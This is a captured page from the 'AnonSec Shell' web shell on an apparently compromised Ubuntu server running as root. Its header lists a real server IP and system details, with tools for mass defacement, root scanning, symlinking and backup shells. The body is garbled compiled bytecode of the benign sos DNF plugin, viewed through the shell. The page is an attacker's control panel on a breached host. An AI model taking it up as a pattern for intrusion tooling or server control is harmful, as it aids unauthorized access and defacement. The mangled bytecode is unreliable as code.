AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/dnf.cpython-310.pyc
o

���b&�@s*ddlmZmZmZGdd�dee�ZdS)�)�Plugin�RedHatPlugin�	PluginOptc@sLeZdZdZdZdZdZdZdZe	ddd	d
�gZ
dd�Zd
d�Zdd�Z
dS)�	DNFPlugina�
    The DNF plugin collects information for the dnf package manager and how it
    is configured for local system.

    By default, this plugin will collect configuration files from /etc/dnf,
    repo files defined in /etc/yum.repos.d/, module information, and various
    'dnf list' commands.

    When using the 'history-info' option, detailed transaction information will
    be collected for the most recent 50 dnf transactions, and will be saved to
    the sos_commands/dnf/history-info directory.
    zdnf package manager�dnf)�system�packagemanager�sysmgmt)z/etc/dnf/dnf.conf)r�history-infoFz$collect detailed transaction history)�default�desccCsH|sdS|��D]}d|vr!|��d}|dkr!|jd|dd�qdS)Nz[i]rzHint:zdnf --assumeno module info �dnf_module_info��tags)�
splitlines�split�add_cmd_output)�self�modules�line�module�r�8/usr/lib/python3/dist-packages/sos/report/plugins/dnf.py�get_modules_info(s
���zDNFPlugin.get_modules_infoc	Cs�|�ddi�|�d�|jdgd�d�|�d�r |�d�n|�d	�|�d
�|�d�|jdd
d�|�gd��|jdddgd�|jdddgd�|�d�|�ddg�|�gd��|�d�so|jddd�nD|jddd�}d}|dr�|d��D]}zt|�d�d�	��}Wn	t
y�Yq�wtd t|d d!��D]}|jd"|dd#d$�q�d%}|�|�}|�
|d�dS)&Nz/etc/dnf/modules.d/.*.module�dnf_modulesz	/etc/dnf/z/etc/yum.repos.d/)�yum_repos_d�dnf_repos_d�dnf_repor�all_logsz/var/log/dnf.*z/var/log/dnf.log*z/var/log/dnf.librepo.log*z/var/log/dnf.rpm.log*zdnf --assumeno module list�dnf_module_list)z
dnf --versionz#dnf --assumeno list installed *dnf*zdnf --assumeno list extraszpackage-cleanup --dupeszpackage-cleanup --problemszdnf list installed�yum_list_installed�dnf_list_installedzdnf -C repolist�yum_repolist�dnf_repolistzdnf -C repolist --verbosez/etc/pki/entitlement/key.pemz/etc/pki/entitlement/*-key.pem)z/etc/pki/product/*.pemz/etc/pki/consumer/cert.pemz/etc/pki/entitlement/*.pemr
zdnf history�dnf_history����output�|r��2zdnf history info %d�dnf_history_info)�subdirrz&dnf --assumeno module list --installed)�
add_file_tags�
add_copy_spec�
get_optionr�add_forbidden_path�collect_cmd_outputr�intr�strip�
ValueError�range�minr)r�history�transactionsr�tr_id�
module_cmdrrrr�setup4sd�
�



���
�
��
�
zDNFPlugin.setupcCsd}d}|�d||�dS)Nz"(proxy_password(\s)*=(\s)*)(\S+)\nz\1********\nz/etc/yum.repos.d/*)�do_path_regex_sub)r�regexp�replrrr�postproczszDNFPlugin.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�files�packagesr�option_listrr:r>rrrrrs
��FrN)�sos.report.pluginsrrrrrrrr�<module>s


Anon7 - 2022
AnonSec Team